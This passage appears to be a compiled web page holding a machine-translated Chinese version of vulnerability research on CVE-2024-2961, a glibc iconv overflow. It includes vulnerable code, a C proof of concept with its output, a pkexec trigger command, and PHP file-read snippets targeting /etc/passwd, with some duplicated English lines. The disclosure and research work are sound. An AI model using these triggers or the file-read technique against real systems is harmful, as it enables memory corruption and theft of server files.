crash"}),"\n",(0,s.jsx)(n.p,{children:"\u53ef\u60b2\u7684\u662f\uff0c\u6587\u4ef6\u8bfb\u53d6\u5e76\u4e0d\u603b\u662f\u50cf\u4ee5\u4e0b\u90a3\u6837\u5bb9\u6613\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"echo file_get_contents($_POST['file']);\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u901a\u5e38\uff0c\u6587\u4ef6\u4e0d\u4f1a\u6309\u539f\u6837\u8fd4\u56de\uff0c\u4f46\u4f1a\u4ee5\u67d0\u79cd\u65b9\u5f0f\u5bf9\u5176\u8fdb\u884c\u89e3\u6790\u6216\u68c0\u67e5\u3002\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u7ecf\u5e38\u9047\u5230\u8fd9\u6bb5\u4ee3\u7801\u7684\u53d8\u4f53\uff0c\u5b83\u8981\u6c42\u4f60\u7684\u6587\u4ef6\u662f\u6709\u6548\u7684 JSON\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$data = file_get_contents($_POST['url']);\n$data = json_decode($data);\necho $data->message;\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u5728\u8fd9\u91cc\u8bfb\u53d6\u4e86\u4e00\u4e2a\u6587\u4ef6\uff0c\u4f46\u5185\u5bb9\u968f\u540e\u88ab JSON \u53cd\u5e8f\u5217\u5316\uff0c\u5e76\u4e14\u53ea\u8fd4\u56de\u6587\u6863\u7684\u4e00\u90e8\u5206\u3002\u4e3a\u4e86\u8bfb\u53d6\u6807\u51c6\u6587\u4ef6\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.code,{children:"/etc/passwd"})," \uff0c\u6211\u4eec\u9700\u8981\u5411\u6d41\u6dfb\u52a0\u4efb\u610f\u524d\u7f00\u548c\u540e\u7f00\u3002\u50cf\u8fd9\u6837\uff1a ",(0,s.jsx)(n.code,{children:'{"message": "<contents-of-/etc/passwd>"}'})," .\u5728 2023 \u5e74\u5e95\uff0c\u60c5\u51b5\u662f\u60a8\u53ef\u4ee5\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"php://filter"})," \u94fe\u4e3a\u6d41\u6dfb\u52a0\u524d\u7f00\uff0c\u4f46\u4e0d\u80fd\u6dfb\u52a0\u540e\u7f00\u3002\u56e0\u6b64\uff0c\u6211\u5f00\u59cb\u7814\u7a76\u4e00\u79cd\u7b97\u6cd5\u6765\u505a\u540e\u8005\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5f53\u65f6\uff0c\u6211\u5bf9\u5b57\u7b26\u96c6\u6216\u7f16\u7801\u4e00\u65e0\u6240\u77e5\uff08\u8001\u5b9e\u8bf4\uff0c\u6211\u4ecd\u7136\u4e0d\u77e5\u9053\u5176\u4e2d\u7684\u533a\u522b\uff09\u3002\u9996\u5148\uff0c\u6211\u6784\u5efa\u4e86\u4e00\u4e2a\u66b4\u529b\u7834\u89e3\u811a\u672c\uff0c\u8be5\u811a\u672c\u5c06\u51e0\u4e2a ",(0,s.jsx)(n.code,{children:"iconv"})," \u8fc7\u6ee4\u5668\u5806\u53e0\u5728\u4e00\u8d77\uff0c\u5e76\u663e\u793a\u7ed3\u679c\u3002\u50cf\u8fd9\u6837\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.iconv.A.B/convert.iconv.C.D/convert.iconv.E.F/resource=data:,test123\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u67d0\u4e2a\u65f6\u5019\uff0c\u6211\u7684\u201c\u6a21\u7cca\u5668\u201d\u5d29\u6e83\u4e86\u3002\n\u6211\u4e00\u751f\u4e2d\u5927\u90e8\u5206\u65f6\u95f4\u90fd\u5728\u4e0ePHP\u6253\u4ea4\u9053\uff0c\u6211\u5f88\u5feb\u5c31\u6307\u624b\u753b\u811a\u3002\u4f46\u6211\u4e0d\u77e5\u9053\u7684\u662f\uff0c\u8fd9\u4e2a\u9519\u8bef\u5728\u8c03\u7528\u94fe\u4e2d\u7684\u4f4d\u7f6e\u8981\u4f4e\u5f97\u591a\uff1a\u4e00\u76f4\u5230glibc\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.em,{children:["\u6ce8\u610f\uff1a\u8be5\u7814\u7a76\u4ea7\u751f\u4e86\u4e00\u4e2a\u4e8e 2023 \u5e74 12 \u6708\u53d1\u5e03\u7684\u5de5\u5177\uff1a",(0,s.jsx)(n.a,{href:"https://www.ambionics.io/blog/wrapwrap-php-filters-suffix",children:"wrapwrap"}),".\u3002"]})}),"\n",(0,s.jsx)(n.h2,{id:"glibc-\u4e2d\u5b58\u5728\u4e00\u4e2a\u9519\u8befcve-2024-2961",children:"Glibc \u4e2d\u5b58\u5728\u4e00\u4e2a\u9519\u8befCVE-2024-2961"}),"\n",(0,s.jsxs)(n.h3,{id:"the-iconv-api",children:["The ",(0,s.jsx)(n.code,{children:"iconv()"})," API"]}),"\n",(0,s.jsx)(n.p,{children:"\u5f53PHP\u4ece\u4e00\u4e2a\u5b57\u7b26\u96c6\u8f6c\u6362\u4e3a\u53e6\u4e00\u4e2a\u5b57\u7b26\u96c6\u65f6\uff0c\u5b83\u4f7f\u7528iconv\uff0c\u8fd9\u662f\u4e00\u4e2aAPI\uff0c\u201c\u4f7f\u7528\u8f6c\u6362\u63cf\u8ff0\u7b26\u5c06\u8f93\u5165\u7f13\u51b2\u533a\u4e2d\u7684\u5b57\u7b26\u8f6c\u6362\u4e3a\u8f93\u51fa\u7f13\u51b2\u533a\u201d\u3002\u5728 Linux \u4e0a\uff0c\u6b64 API \u7531 glibc \u5b9e\u73b0\u3002"}),"\n",(0,s.jsx)(n.p,{children:"API \u975e\u5e38\u7b80\u5355\u3002\u9996\u5148\u6253\u5f00\u4e00\u4e2a\u8f6c\u6362\u63cf\u8ff0\u7b26\uff0c\u8be5\u63cf\u8ff0\u7b26\u6307\u793a\u8f93\u5165\u548c\u8f93\u51fa\u5b57\u7b26\u96c6\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"iconv_t iconv_open(const char *tocode, const char *fromcode);\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7136\u540e\uff0c\u60a8\u53ef\u4ee5\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u5c06\u8f93\u5165\u7f13\u51b2\u533a ",(0,s.jsx)(n.code,{children:"inbuf"})," \u8f6c\u6362\u4e3a\u8f93\u51fa\u7f13\u51b2\u533a\u4e2d ",(0,s.jsx)(n.code,{children:"outbuf"})," \u7684\u65b0\u5b57\u7b26\u96c6\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"size_t iconv(iconv_t cd,\n char **restrict inbuf, size_t *restrict inbytesleft,\n char **restrict outbuf, size_t *restrict outbytesleft);\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7f13\u51b2\u533a\u7ba1\u7406\u7531\u8c03\u7528\u65b9\u8d1f\u8d23\u3002\u5982\u679c\u8f93\u51fa\u7f13\u51b2\u533a\u4e0d\u591f\u5927\uff0c ",(0,s.jsx)(n.code,{children:"iconv()"})," \u5c06\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\uff0c\u6307\u793a\u5982\u6b64\uff0c\u60a8\u5c06\u80fd\u591f\u901a\u8fc7\u518d\u6b21\u8c03\u7528 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u91cd\u65b0\u5206\u914d ",(0,s.jsx)(n.code,{children:"outbuf"})," \u5e76\u7ee7\u7eed\u8f6c\u6362\u3002\u8be5\u51fd\u6570\u4fdd\u8bc1\u7684\u662f\uff0c\u5b83\u6c38\u8fdc\u4e0d\u4f1a\u4ece ",(0,s.jsx)(n.code,{children:"inbuf"})," \u4e2d\u8bfb\u53d6\u8d85\u8fc7 ",(0,s.jsx)(n.code,{children:"inbytesleft"})," \u5b57\u8282\u7684\u5b57\u8282\u6570\uff0c\u4e5f\u4e0d\u4f1a\u5411 ",(0,s.jsx)(n.code,{children:"outbuf"})," \u5199\u5165\u8d85\u8fc7 ",(0,s.jsx)(n.code,{children:"outbytesleft"})," \u5b57\u8282\u6570\u7684\u5b57\u8282\u6570\u3002\u4ece\u4e0d\uff1f\u597d\u5427\uff0c\u7406\u8bba\u4e0a......"]}),"\n",(0,s.jsx)(n.h3,{id:"\u8f6c\u6362\u4e3a-iso-2022-cn-ext-\u65f6\u51fa\u754c\u5199\u5165",children:"\u8f6c\u6362\u4e3a ISO-2022-CN-EXT \u65f6\u51fa\u754c\u5199\u5165"}),"\n",(0,s.jsxs)(n.p,{children:["\u78b0\u5de7\u7684\u662f\uff0c\u5728\u5c06\u6570\u636e\u8f6c\u6362\u4e3a ",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"})," \u5b57\u7b26\u96c6\u65f6\uff0ciconv \u53ef\u80fd\u65e0\u6cd5\u5728\u5199\u5165\u8f93\u51fa\u7f13\u51b2\u533a\u4e4b\u524d\u68c0\u67e5\u8f93\u51fa\u7f13\u51b2\u533a\u4e2d\u662f\u5426\u6709\u8db3\u591f\u7684\u7a7a\u95f4\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5b9e\u9645\u4e0a\uff0c ",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"})," \u5b83\u5b9e\u9645\u4e0a\u662f\u4e00\u4e2a\u5b57\u7b26\u96c6\u7684\u96c6\u5408\uff1a\u5f53\u5b83\u9700\u8981\u5bf9\u5b57\u7b26\u8fdb\u884c\u7f16\u7801\u65f6\uff0c\u5b83\u4f1a\u9009\u62e9\u9002\u5f53\u7684\u5b57\u7b26\u96c6\uff0c\u5e76\u53d1\u51fa\u4e00\u4e2a\u8f6c\u4e49\u5e8f\u5217\uff0c\u6307\u793a\u89e3\u7801\u5668\u9700\u8981\u5207\u6362\u5230\u8fd9\u6837\u7684\u5b57\u7b26\u96c6\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0b\u9762\u7684\u4ee3\u7801\u662f\u8d1f\u8d23\u53d1\u51fa\u6b64\u7c7b\u8f6c\u4e49\u5e8f\u5217\u7684\u90e8\u5206\u3002\u5b83\u7531 3 ",(0,s.jsx)(n.code,{children:"if"})," \u4e2a\u5757\u7ec4\u6210\uff0c\u6bcf\u4e2a\u5757\u5c06\u4e0d\u540c\u7684\u8f6c\u4e49\u5e8f\u5217\u5199\u5165 ",(0,s.jsx)(n.code,{children:"outbuf"})," \uff08\u6307\u5411\uff09\u3002 ",(0,s.jsx)(n.code,{children:"outptr"})," \u5982\u679c\u4f60\u770b\u4e00\u4e0b\u7b2c\u4e00\u4e2a [1] \uff0c\u4f60\u53ef\u4ee5\u770b\u5230\u5b83\u4ee5\u53e6\u4e00\u4e2a ",(0,s.jsx)(n.code,{children:"if()"})," \u5757\u4e3a\u524d\u7f00\uff0c\u8be5\u5757\u68c0\u67e5\u8f93\u51fa\u7f13\u51b2\u533a\u662f\u5426\u8db3\u591f\u5927\u4ee5\u5bb9\u7eb3 4 \u4e2a\u5b57\u7b26\u3002\u53e6\u5916\u4e24\u4e2a ",(0,s.jsx)(n.code,{children:"if()"})," [2][3] \u5219\u6ca1\u6709\u3002\u56e0\u6b64\uff0c\u8f6c\u4e49\u5e8f\u5217\u53ef\u80fd\u4f1a\u88ab\u5199\u5165\u8d8a\u754c\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// iconvdata/iso-2022-cn-ext.c\n\n/* See whether we have to emit an escape sequence. */\nif (set != used)\n{\n /* First see whether we announced that we use this\n character set. */\n if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]\n {\n const char *escseq;\n\n if (outptr + 4 > outend) // <-------------------- BOUND CHECK\n {\n result = __GCONV_FULL_OUTPUT;\n break;\n }\n\n assert(used >= 1 && used <= 4);\n escseq = \")A\\0\\0)G)E\" + (used - 1) * 2;\n *outptr++ = ESC;\n *outptr++ = '$';\n *outptr++ = *escseq++;\n *outptr++ = *escseq++;\n\n ann = (ann & ~SO_ann) | (used << 8);\n }\n else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]\n {\n const char *escseq;\n\n // <-------------------- NO BOUND CHECK\n\n assert(used == CNS11643_2_set); /* XXX */\n escseq = \"*H\";\n *outptr++ = ESC;\n *outptr++ = '$';\n *outptr++ = *escseq++;\n *outptr++ = *escseq++;\n\n ann = (ann & ~SS2_ann) | (used << 8);\n }\n else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]\n {\n const char *escseq;\n\n // <-------------------- NO BOUND CHECK\n\n assert((used >> 5) >= 3 && (used >> 5) <= 7);\n escseq = \"+I+J+K+L+M\" + ((used >> 5) - 3) * 2;\n *outptr++ = ESC;\n *outptr++ = '$';\n *outptr++ = *escseq++;\n *outptr++ = *escseq++;\n\n ann = (ann & ~SS3_ann) | (used << 8);\n }\n}\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8981\u89e6\u53d1 bug\uff0c\u6211\u4eec\u9700\u8981\u5728\u8f93\u51fa\u7f13\u51b2\u533a\u7ed3\u675f\u4e4b\u524d\u5f3a\u5236 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u53d1\u51fa\u8f6c\u4e49\u5e8f\u5217\u3002\u4e3a\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5916\u6765\u5b57\u7b26\uff0c\u4f8b\u5982\uff1a ",(0,s.jsx)(n.code,{children:"\u5284"})," \u3001 ",(0,s.jsx)(n.code,{children:"\u409a"})," \u6216 ",(0,s.jsx)(n.code,{children:"\u5cdb"})," ",(0,s.jsx)(n.code,{children:"\u6e7f"})," \u3002\u7ed3\u679c\u662f 1 \u5230 3 \u4e2a\u5b57\u8282\u7684\u6ea2\u51fa\uff0c\u5176\u503c\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$*H"})," [",(0,s.jsx)(n.code,{children:"24 2A 48"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+I"})," [",(0,s.jsx)(n.code,{children:"24 2B 49"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+J"})," [",(0,s.jsx)(n.code,{children:"24 2B 4A"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+K"})," [",(0,s.jsx)(n.code,{children:"24 2B 4B"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+L"})," [",(0,s.jsx)(n.code,{children:"24 2B 4C"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+M"})," [",(0,s.jsx)(n.code,{children:"24 2B 4D"}),"]"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5feb\u901f",(0,s.jsx)(n.a,{href:"https://github.com/ambionics/cnext-exploits/blob/main/poc.c",children:"POC"})," \u6f14\u793a\u4e86\u8be5\u9519\u8bef\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'/*\n$ gcc -o poc ./poc.c && ./poc\n*/\n...\n\nvoid hexdump(void *ptr, int buflen)\n{\n ...\n}\n\nvoid main()\n{\n iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");\n\n char input[0x10] = "AAAAA\u5284";\n char output[0x10] = {0};\n\n char *pinput = input;\n char *poutput = output;\n\n // Same size for input and output buffer: 8 bytes\n size_t sinput = strlen(input);\n size_t soutput = sinput;\n\n iconv(cd, &pinput, &sinput, &poutput, &soutput);\n\n printf("Remaining bytes (should be > 0): %zd\\n", soutput);\n\n hexdump(output, 0x10);\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u5728\u6613\u53d7\u653b\u51fb\u7684\u7cfb\u7edf\u4e0a\u4ea7\u751f\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ gcc -o poc ./poc.c && ./poc\nRemaining bytes (should be > 0): -1\n000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAA A.$* H... ....\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5df2\u7ecf\u5199\u4e86\u4e5d\u4e2a\u5b57\u8282\uff0c\u5c3d\u7ba1\u544a\u8bc9 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u6700\u591a\u5199\u516b\u4e2a\u5b57\u8282\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["Checking the ",(0,s.jsx)(n.a,{href:"https://github.com/lattera/glibc/commit/755104edc75c53f4a0e7440334e944ad3c6b32fc#diff-c55a50730dd1a15db405b851229d49697508e27710403e4995f0f9d628295c36",children:"commit history"}),", I noticed that the bug was very old: it appeared in year 2000, making it 24 years old.\n\u68c0\u67e5\u63d0\u4ea4",(0,s.jsx)(n.a,{href:"https://github.com/lattera/glibc/commit/755104edc75c53f4a0e7440334e944ad3c6b32fc#diff-c55a50730dd1a15db405b851229d49697508e27710403e4995f0f9d628295c36",children:"\u5386\u53f2\u8bb0\u5f55"}),"\uff0c\u6211\u6ce8\u610f\u5230\u8fd9\u4e2a\u9519\u8bef\u975e\u5e38\u53e4\u8001\uff1a\u5b83\u51fa\u73b0\u5728 2000 \u5e74\uff0c\u8ddd\u4eca\u5df2\u6709 24 \u5e74\u7684\u5386\u53f2\u3002\n\u73b0\u5728\uff0c\u8fd9\u4e2a\u9519\u8bef\u53ef\u4ee5\u505a\u4ec0\u4e48\uff1f"]}),"\n",(0,s.jsx)(n.h3,{id:"\u6761\u4ef6\u548c\u539f\u59cb",children:"\u6761\u4ef6\u548c\u539f\u59cb"}),"\n",(0,s.jsxs)(n.p,{children:["\u6709\u4e86\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u6211\u6709\u4e00\u4e2a 1 \u5230 3 \u4e2a\u5b57\u8282\u7684\u6ea2\u51fa\uff0c\u5176\u4e2d\u5305\u542b\u975e\u53d7\u63a7\u5b57\u7b26\u3002\u8fd9\u5e76\u4e0d\u591a\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u6709\u5148\u51b3\u6761\u4ef6\u3002\u6211\u9700\u8981\u627e\u5230\u4e00\u4e2a\u7535\u8bdd\uff0c ",(0,s.jsx)(n.code,{children:"iconv()"})," \u5176\u4e2d\u6211\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["controlled the output charset (",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"}),")\n\u63a7\u5236\u8f93\u51fa\u5b57\u7b26\u96c6 \uff08 ",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"})," \uff09"]}),"\n",(0,s.jsx)(n.li,{children:"controlled part of the input buffer (to put in the beautiful chinese characters)\n\u8f93\u5165\u7f13\u51b2\u533a\u7684\u53d7\u63a7\u90e8\u5206\uff08\u8f93\u5165\u6f02\u4eae\u7684\u6c49\u5b57\uff09"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u8003\u8651\u5230\u8fd9\u4e00\u70b9\uff0c\u6211\u5f00\u59cb\u5bfb\u627e\u76ee\u6807\u3002\u4ece\u5728\u6211\u7684 ",(0,s.jsx)(n.code,{children:"/lib"})," \u76ee\u5f55 ",(0,s.jsx)(n.code,{children:"/bin"})," ",(0,s.jsx)(n.code,{children:"iconv"})," \u4e2d\u5b66\u4e60\u5230\u8fed\u4ee3\u6570\u767e\u4e2a OSS \u9879\u76ee\uff0c\u6211\u53d1\u73b0\u4e86\u4e00\u4e9b\u6709\u8da3\u7684\u76ee\u6807\u3002\u5b9e\u9645\u4e0a\u6ca1\u6709\u4e00\u4e2a\u662f\u53ef\u5229\u7528\u7684\u3002\n\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u8ba9\u6211\u4eec\u770b\u4e00\u4e2a\u975e\u5e38\u6709\u524d\u9014\u7684\u76ee\u6807\uff1a ",(0,s.jsx)(n.code,{children:"libxml2"})," ."]}),"\n",(0,s.jsx)(n.h4,{id:"libxml2\u5b57\u8282\u7684\u6d77\u6d0b",children:"libxml2\uff1a\u5b57\u8282\u7684\u6d77\u6d0b"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"libxml2"})," \u4ec5\u5904\u7406 UTF-8 \u683c\u5f0f\u7684 XML\u3002\u5982\u679c XML \u6587\u6863\u4e0d\u662f UTF-8\uff0c\u5b83\u5c06\u88ab\u8f6c\u6362\u4e3a\u5b83\uff0c\u7136\u540e\u8fdb\u884c\u5904\u7406\uff0c\u7136\u540e\u5728\u5b8c\u6210\u6240\u6709\u64cd\u4f5c\u540e\u8f6c\u6362\u56de\u5176\u539f\u59cb\u5b57\u7b26\u96c6\u3002\u8f6c\u6362\u662f\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"iconv()"})," ."]}),"\n",(0,s.jsx)(n.p,{children:"\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8fd9\u6837\u7684\u6587\u4ef6\u6ee1\u8db3\u6211\u4eec\u7684\u5148\u51b3\u6761\u4ef6\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'<?xml version="1.0" encoding="ISO-2022-CN-EXT"?>\n<root>&21124;</root>\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.em,{children:"\u6ce8\u610f\uff1a21124 \u662f \u5284 \u7684 unicode \u4ee3\u7801\u4f4d\u3002"})}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\uff0c\u8bf7\u8bb0\u4f4f\uff1a\u7f13\u51b2\u533a\u7ba1\u7406\u662f\u8c03\u7528\u65b9\u7684\u8d23\u4efb\u3002\u5f53\u7528\u4e8e ",(0,s.jsx)(n.code,{children:"iconv()"})," \u5c06\u6211\u4eec\u7684\u6587\u6863\u8f6c\u6362\u56de\u5176\u539f\u59cb\u5b57\u7b26\u96c6\u65f6 ",(0,s.jsx)(n.code,{children:"libxml2"})," \uff0c\u5b83\u4f1a\u5206\u914d\u4e00\u4e2a\u8f93\u51fa\u7f13\u51b2\u533a\uff0c\u8be5\u7f13\u51b2\u533a\u662f\u8f93\u5165\u7f13\u51b2\u533a\uff08\u4ee3\u7801\uff09\u7684 4 \u500d\u3002\u5bf9\u6211\u4eec\u6765\u8bf4\u592a\u5927\u4e86\uff1a\u6211\u4eec\u65e0\u6cd5\u8fbe\u5230\u7f13\u51b2\u533a\u7684\u8fb9\u754c\u4ee5\u6ea2\u51fa\u3002\u6b7b\u80e1\u540c\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"pkexec4-\u4e2a\u5b57\u8282\u592a\u591a\u4e86",children:"pkexec\uff1a4 \u4e2a\u5b57\u8282\u592a\u591a\u4e86"}),"\n",(0,s.jsxs)(n.p,{children:["\u53e6\u4e00\u4e2a\u6709\u8da3\u7684\u76ee\u6807\u662f pkexec\uff0c\u4e00\u4e2a\u5b58\u5728\u4e8e\u8bb8\u591a linux \u53d1\u884c\u7248\u4e2d\u7684 setuid \u4e8c\u8fdb\u5236\u6587\u4ef6\u3002\u4e8c\u8fdb\u5236\u6587\u4ef6\u5141\u8bb8\u60a8\u901a\u8fc7\u8bbe\u7f6e ",(0,s.jsx)(n.code,{children:"CHARSET"})," \u73af\u5883\u53d8\u91cf\u6765\u4e3a\u5176\u8f93\u51fa\u7684\u6bcf\u6761\u6d88\u606f\u9009\u62e9\u5b57\u7b26\u96c6\u3002\u4f8b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ CHARSET=ISO-2022-CN-EXT pkexec 'trigger\u5284' 2>&1 | hexyl\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u250200000000\u2502 43 61 6e 6e 6f 74 20 72 \u250a 75 6e 20 70 72 6f 67 72 \u2502Cannot r\u250aun progr\u2502\n\u250200000010\u2502 61 6d 20 74 72 69 67 67 \u250a 65 72 1b 24 2a 48 1b 4e \u2502am trigg\u250aer\u2022$*H\u2022N\u2502\n\u250200000020\u2502 4c 61 0f 3a 20 4e 6f 20 \u250a 73 75 63 68 20 66 69 6c \u2502La\u2022: No \u250asuch fil\u2502\n\u250200000030\u2502 65 20 6f 72 20 64 69 72 \u250a 65 63 74 6f 72 79 0a \u2502e or dir\u250aectory_ \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u5185\u90e8\uff0c ",(0,s.jsx)(n.code,{children:"pkexec"})," \u4f7f\u7528 \u8f93\u51fa ",(0,s.jsx)(n.code,{children:"GLib"})," \u5176\u6d88\u606f\u3002\u5b83\u6267\u884c\u4ee5\u4e0b\u64cd\u4f5c\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"#define NUL_TERMINATOR_LENGTH 4\n\noutbuf_size = len + NUL_TERMINATOR_LENGTH;\n\noutbytes_remaining = outbuf_size - NUL_TERMINATOR_LENGTH;\noutp = dest = g_malloc (outbuf_size);\n\n...\n\nerr = g_iconv (converter, NULL, &inbytes_remaining, &outp, &outbytes_remaining);\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u867d\u7136\u5b83\u5206\u914d\u4e86 N + 4 \u5b57\u8282\u7684\u7f13\u51b2\u533a\uff0c\u4f46\u5b83\u53ea\u544a\u8bc9 iconv \u5173\u4e8e N \u4e2a\u5b57\u8282\u3002\u6211\u4eec\u7684\u6ea2\u51fa\u6700\u591a\u6709 3 \u4e2a\u5b57\u8282\u957f\u3002\u56e0\u6b64\uff0c\u65e0\u8bba\u6211\u4eec\u591a\u4e48\u52aa\u529b\uff0c\u6211\u4eec\u90fd\u65e0\u6cd5\u5230\u8fbe\u7f13\u51b2\u533a\u4e4b\u5916\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u53e6\u4e00\u4e2a\u6b7b\u80e1\u540c\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u6761\u4ef6\u548c\u57fa\u5143\u5df2\u66f4\u65b0",children:"\u6761\u4ef6\u548c\u57fa\u5143\uff08\u5df2\u66f4\u65b0\uff09"}),"\n",(0,s.jsx)(n.p,{children:"\u6ee1\u6000\u5931\u671b\uff0c\u6211\u53ea\u80fd\u66f4\u65b0\u6211\u7684\u8981\u6c42\u6e05\u5355\u3002\u8981\u5229\u7528\u6b64\u6f0f\u6d1e\uff0c\u6211\u4eec\u9700\u8981\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u63a7\u5236\u8f93\u51fa\u5b57\u7b26\u96c6 \uff08 ",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"})," \uff09"]}),"\n",(0,s.jsx)(n.li,{children:"\u8f93\u5165\u7f13\u51b2\u5668\u7684\u63a7\u5236\u90e8\u5206"}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.strong,{children:"\u5177\u6709\u5408\u9002\u7684\u8f93\u51fa\u7f13\u51b2\u5668"})}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5229\u7528php\u8fc7\u6ee4\u5668",children:"\u5229\u7528PHP\u8fc7\u6ee4\u5668"}),"\n",(0,s.jsxs)(n.p,{children:["\u5373\u4f7f\u627e\u4e86\u51e0\u5929\uff0c\u6211\u4e5f\u6ca1\u6709\u627e\u5230\u4e00\u4e2a\u6709\u6548\u7684\u76ee\u6807\u3002\u76f2\u76ee\u5730\u5728\u5e93\u548c\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e2d\u5bfb\u627e ",(0,s.jsx)(n.code,{children:"iconv()"})," 